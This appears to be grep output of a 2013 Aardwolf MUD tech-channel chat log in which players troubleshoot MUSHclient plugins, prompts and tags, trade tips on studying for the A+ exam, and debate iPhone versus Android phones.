T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it's xml, < and > are special characters
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: it's because the one he gave isn't pasteable,i had to copy the send part
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: use &lt; and &gt; if you want less than or greater than literals
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: if (hpwarn &lt
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: oops
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: The Dragon RandAlthor feels silly for forgetting to convert to xml.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Le do, lo  Shakia Tech: yeah, myrkul is correct
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Oh! Ok, that makes sense. I usually do this stuff in the script section, but didn't bother this time since it was supposed to be pretty simple
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: yep, that fixed it. Awesome, thanks guys
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: alias isn't working for some reason, but that's a different issue. At least the thing loaded
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Faylen Tech: Aha. The enabled="y" line actually is important, who knew.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Faylen giggles.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: hello
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: hello
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: anyone able to help with a problem? My prompt went south and it is all gray now..i did prompt all and it screwed it up
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: it was a dark green color
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: now it is lack of color altogether and i cant deal with that :/
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: prompt all sets it to the default you have to set it again from scratch
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: im not sure how i did that or even if i did that before
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: im new
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: you can check your battle prompt if they weren't too dissimilar
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: Sebaste /
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: how do i check it? i didnt ever change it i just started
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: prompt data
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: ahh i do see how to change it now, i guess i did change it when i played for the day about 2 years ago...hmm okay thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: copy the rawcolor battle prompt info and edit it as you like then prompt <edited data>
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: thanks!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: muahaha fixed it thanks!
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: np
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: what does this mean at the end of the prompt? >
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Swangin Tech: It means you are in the console.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: i dont need to add it too then?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Swangin Tech: no..
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Swangin Tech: Unless you were sending the output of the command to a file or something like that
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: ah okay thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: no i use [ ] personally
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: yeah i have that
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: the only thing you should always have your prompt end with is %c
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: alright
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: thanks for the help :) i do appreciate it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: is there to make the prompt of my health and mana change color to yellow then red as i lose health?
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: no
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: alright thanks
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: you can do that in your client, though
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: alright
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: if you were able to make your own Client sure
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: you can do it in any of the usual clients
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: oh, I didn't know mush could do that
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: i know you can on my client just looking up how
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Sebaste Tech: i use mudlet
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: thanks for letting me know  though
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: You boggle at Hollister.
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: look at the health bars that ship with MUSHclient
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: I never saw it change color
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: right-click it
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: oh... I'll let you know I was born blonde
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Tech: look at the HP thresholds sub-menu
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: ah, ok I can do it further
T3/r7/2013-06-19.txt.gz:{chan ch=tech}Hollister Tech: thanks
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: hey so My mushclient is now echoing all this {affoff}554 {invitem}1049069414,,a cloud of musty perfume,30,10,0,-1,-1
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: not sure why its doing this, im running on a fresh install and still get the errors
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: type tags off.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: and read help tags, if you're curious what they actually are for
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: that wont mess up some of my triggers for my other windows?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: Unlikely. I think all of the aardmush client plugins use GMCP now.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: oh i know what theyre for, and turning them all off will break my windows tho? ah ok
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: ill try it and see if anything messes up
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: it shouldn't, no
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: simple enough to turn them back on though
T3/r7/2013-06-20.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think the only one mush uses itself is the map tags
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: ack i broke it
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: aard MUSHclient requires tags on
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: ahh
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: it uses many of the tags, including channels
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: i bet the set of plugins i tried to install toggled on some of my tags that i didnt have , mudside and all...
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: yes, the two tags that you complained about were for spellups and invmon
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: so it would've been a spellup plugin and an inventory plugin
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: k ill manually tick those two back off then 
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: interesting abe.. I thought mushclient was using GMCP for channels?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: i think it is?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: he said mushclient required tags on for them
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: ah, well wehn i have tags set to on the global one, its still putting my chat channels in their special window
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Mailg Tech: er off*
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: yes, but it cannot put them ONLY in that window with that setting
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Daloran Tech: ahhh i gotcha. I was thinking backwards.. using them to gag from main window, not to capture them to log
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: yeah, it can receive them from GMCP, but it can only recognize them in output by tags
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Roidrage Tech: can someone help me out please i put my mush client into my documents where i have write access ive even took ownership of the files but i still get a plugin write error does anyone know how to fix this
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: <-still uses win xp :P
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Roidrage Tech: lol
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Shue Tech: how can i play aardwolf on the ipad?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Ixle Tech: Try one of the clients at aardwolf.com/play or search the store for an ipad mud client
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Dreckis Tech: On winkle's spellup can I SetClanSn both my clan skills or only 1?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Ixle Tech: Is there anything on the web like a hangouts channel guide? Some place for hangout creators to list their scheduled hangouts?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Ixle Tech: Found the answer to my question btw: http://www.google.com/+/learnmore/hangouts/schedule.html
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vost Tech: anyone using Skype on Ubuntu?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: anyone take the a+ exam recently?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: trying to figure out what the best way to study would be...
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: come on i know theres some certs here :P
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tynrael Tech: lots of free practice exams, maybe get the most recently published edition of a preparation book- its been a few years since I took mine
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: apparently it used to be a lifetime cert and no longer is
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tynrael Tech: I have the lifetime  =)
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i'm going over the practice exams on comptia now...i get like a 40% the first time
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: then i do way better the second time through
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: yeah i gotta do this by the end of august or the exam changes
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: sounds like a lot of time but really it's not to me i'm slow.....at studying :o
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Digitalis Tech: heh, that's what kept happening when I was just ready for network+
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: gonna try for net+ after this one :)
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tynrael Tech: keep doing the practices till you get 100%, odds are a few questions may have similar things show up on the exam but not many. You will definitely need to supplement more than just the practice exams as well
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: cool, thanks tynrael
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: sounds like i need to buy a book
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i have a lot of notes from my hardware 450 class in college but already i can see some things that werent covered
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Digitalis Tech: I read a book for mine, and lot's of google/practice tests
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: the thing i dont get is why the heck you need to know how many pins each kind of cable has
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i swear there is a website like braindumps or something that has practice exams
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: its not like you're counting them when you install something
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: vga and serial
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i'm bad at memorizing that kind of stuff but if you tell me what something does...i'm good
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: yeah but vga are normally blue and serial is usually grey, right?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: sure go to braindump - memorize the exam - I hope i don't have to work with you
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: normally don't help if everything is black
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: lol wildkard
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: braindump is the actual freaking exam?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: in many cases
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i thought they were just old exams
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: damn thats tempting
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: as people memorize the exams and sell them to the sleezy brain dumps
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i'd rather know it myself tbh
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Ayasinda Tech: if you plan to memorize the braindump exams, why don't you just memorize your lessons instead?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: Wildkard is agreeing with that Ayasinda person again...
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i'm just gonna do it the old fashioned way
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: study while drinking coffee and smoking crack
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: erm mebbe not that last part but you get the idea :P
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: im guessing the next change will be to add windows 8 stuff onto it...
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: why do you have to memorize brain dumps? can't you just look at them and see what questions are likely to be asked? 
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: thats what i plan to do :o
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: hmm this braindump only gave me 5 questions
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: says i gotta buy the software to get more
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: lame.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Flak Tech: i did get 100 on it though :)  
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tynrael Tech: so you did go find it, so much for traditional methods  :p
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Garthis Tech: you like money they like money someones gotta pay
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Doink Tech: Daughter must have slammed buttons. On MUSH I can now see the Ascii map in my main window, any ez fix to remove it out the main window like it was?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: right-click the side window one
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: echo in main
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Doink Tech: Did the trick. Thanks Abe^^
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Doink Tech: Ill try to remmeber it^^
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Doink Tech: Using MUSH, command to see the room # of the room your in?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Faylen Tech: mapper thisroom
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Faylen Tech: if you're using aardmush
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Doink Tech: thanks
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: I'm getting some errors running the MUSH client. At first it didn't start up. Now I tried again and it's running but I'm getting some more different errors.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tymas Tech: restart it
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: ok..
T3/r7/2013-06-20.txt.gz:{chan ch=tech}CeriQ Tech: Also consider asking for specific errors, not just "I get errors".
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: Should i post the errors?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: Dynamic session lookup supported but failed: launchd did not provide a socket path, verify that org.freedesktop.dbus-session.plist is loaded!
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: Dynamic session lookup supported but failed: launchd did not provide a socket path, verify that org.freedesktop.dbus-session.plist is loaded!
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: fixme:heap:HeapSetInformation 0x822000 0 0x32fd28 4
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: fixme:ntdll:NtLockFile I/O completion on lock not implemented yet fixme:font:WineEngAddFontResourceEx Ignoring flags 10
T3/r7/2013-06-20.txt.gz:{chan ch=tech}CeriQ Tech: Looks like you're missing some sort of datafile or resource. Have you tried downloading a new version from the web and seeing if it works better?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}CeriQ Tech: Disclaimer: I don't know what I'm talking about.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: quick question. What's the difference between me having tintin on my linux computer to ssh to and having tintin on my Mac. I mean I don't see why I would need to have tintin on another computer and ssh to it
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Nuanse Tech: one tintin, all the same codes etc. unless you sync them somehow to have all your progress in both comps
T3/r7/2013-06-20.txt.gz:{chan ch=tech}CeriQ Tech: Also, you get the same as with a IRC bnc server - you're always connected and can just "join in" to your active session when you want to play.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}CeriQ Tech: Good if you're running logging and such.
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: Nuanse is agreeing with that CeriQ person again...
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wozniak Tech: nevermind the errors are still there
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: my hp/ma/move guage went missing how do i get it back ?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: mush
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: type prompt and see if it brings it back
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: didnt work
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: p data then paste the raw form like for example
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: or just do this
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: prompt  %h/%Hhp(%php) %m/%Mmp(%Pmp) %v/%Vmv %qqt %K %Xtnl ]
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: paste that
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: huh ?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: ah maybe it didnt show it, let me see if i can send it another eway
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: you mean the gmcp health bars ?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Ferun Tech: you have to double the @ when you want them to post to chat
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: ah okay
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: yeah those, his prompt went missing
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: yes norton
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: its a plugin. press ctrl-shift-p and see if aardwolf_health_bars is loaded and enabled
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: if it is, then you have probably accidently moved it under another miniwindow
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Apostate Sebaste Tech: ahh i see, i use mudlet so i dont see that, but hehe yeah
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: i moved all my windows around its not seen anywhere
T3/r7/2013-06-20.txt.gz:{chan ch=tech}BlueBeetle Tech: never mind thanks
T3/r7/2013-06-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: type aardreset then
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: can you make maps outside of aardmush and import them?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: what is the format/utility to make one?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: more of a pain than it's worth, though, since "making" them within aardMUSH is as simple as walking
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: sql statements
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Wildkard Tech: oke thanks
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Vonliege Tech: for the command 'mapper portallevel <ind> <lvl>', what value is "<ind>"?  is that the index number of the portal?
T3/r7/2013-06-20.txt.gz:{chan ch=tech}Tech: vonliege: "mapper help portals" tells you what <ind> is
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Bardis Tech: looking for a Text to Speech program where I can save the output speech
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Dtboy Tech: whats the default font fot rhe communication log in mush client?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: mine is Dina 8pt. I assume that is default since I never changed font.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Thinkon Tech: my aardclient is courier 10 pt ... don't believe i've altered it. if that's what you mwan?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: Ayasinda falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Dtboy Tech: thanks
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Dtboy Tech: how do i change my background in mush?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: there's an FAQ entry on that on the aardMUSH site
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: https://code.google.com/p/aardwolfclientpackage/wiki/FAQ
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Shue Tech: how do i invert the colours on the mushclient? i would like a white background instead of black
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: the background is a picture file
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: you can pick the lock
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Ayasinda Tech: mis
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Got a question for iphone users. How in the name of all that is holy can I get these bloody facebook notifications to stop. The ones that tell me that so-and-so has invited me to play bubble bash or some crap like that. I've tried going into FB and I've tried notifications in settings, no luck so far.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: notification center
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: in settings.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Ok, I'm there right now. Been there before. What am I missing? What should I do next?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: notifications: none
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: None?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: alert tyle, click none
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: alert style.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Ahhhh, ok. Just did that. I would have never figured that out. No idea how the word style figures into that.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Thanks, Sneak :)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: np :)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: switch to iOS 7 when/if you can, it looks a lot better.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: works a lot better too
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Ok, I'll take a look at the app store for ios7
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: its still in beta. if you're not a dev, you need someone to hook you up
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Btw, an opinion would be welcome. I've got a 4s, am eligible for the upgrade next month. My daughter suggests that I wait, that a 5s or maybe a 6 is coming. Whatcha think?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I just changed from a 4 to an S4, quite happy to get away from Apple. I do sell a LOT of 5s though, they are quite popular.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Well, I'm in no particular hurry. The 4s works fine as far as I'm concerned.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I just love the customisability of android - beats Apples clunky folder system hands down
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Sneak Tech: to each his own i suppose.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Shue Tech: i wish there was an aardwolf app for iDevices...
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: mudclient works ok
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Rhavage Tech: Even if there were, I doubt that I'd use it. The thought of playing on the phone does nothing for me.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Shue Tech: that would be based on personal preference.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: heh, the guys at work that have both iPhone and HTC phones hate the android ones
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Is HTC not android?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: it is
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Shue Tech: my family members use HTC and i'm not fond of it
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Oh, you mean they prefer the iOS? Well, Samsung > HTC IMO
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: my point was that they have and use both side-by-side and much prefer the ios
T3/r7/2013-06-21.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: There are HTC Windows phones.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: my dad got a droid as his first smartphone...used it for 6 months, got an iphone...used that for 6 months, then re-activated his droid...that same month he said "oh, now I remember why I didn't like that one" and went back to the iphone ;-)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Martini & Tyebald Tech: what was his reason?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I definitely recommend the iPhone to tech migrants - android is far better the more effort you put in
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: If you have the ability to correctly work widgets to your liking, android craps all over iOS
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: can you scrap the i/os frontend and completely reskin and customize it like you can with android?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Eutychus Tech: I don't know if you can.. maybe if you jail break it.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Eutychus Tech: Otherwise, just buy GS4.
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: whats gs4?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Eutychus Tech: Galaxy S 4
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mushambo Tech: And then download the new Jay-Z album for free and send it over to me :)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: IMO one of the biggest issues with android is the need for the killallapps apps in order to get a battery to last more than an hour...although some game apps on ios are the same, it doesn't seem to be as many
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: It's called install discipline...
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Something which is forced on you by apple, but left up to the user on Android
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: has nothing to do with install discipline...you want them installed, you don't want them always active
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Too many permissions? Welp, looks like you get the can
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: and apps spontaneously restart themselves
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: swiftkey!
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: yeah that annoys me
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: oh, and logmein costs $30 on android and is free on ios ;-)
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: all the bloatware that comes on android verizon phones is also annoying
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: yeah you dont want a provider android phone
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: how do you avoid that?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: buy them direct from google
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: well, without a provider android phone (just like ios) you're paying lots of hundreds of dollars
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: you pay that cost on your contract anyway
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Mailg Tech: google does have a nexus 4 i think thats built like that right?
T3/r7/2013-06-21.txt.gz:{chan ch=tech}Tech: but you don't get that deducted from your contract when you bring the phone, so you're doubly paying for it when you don't get provider phone
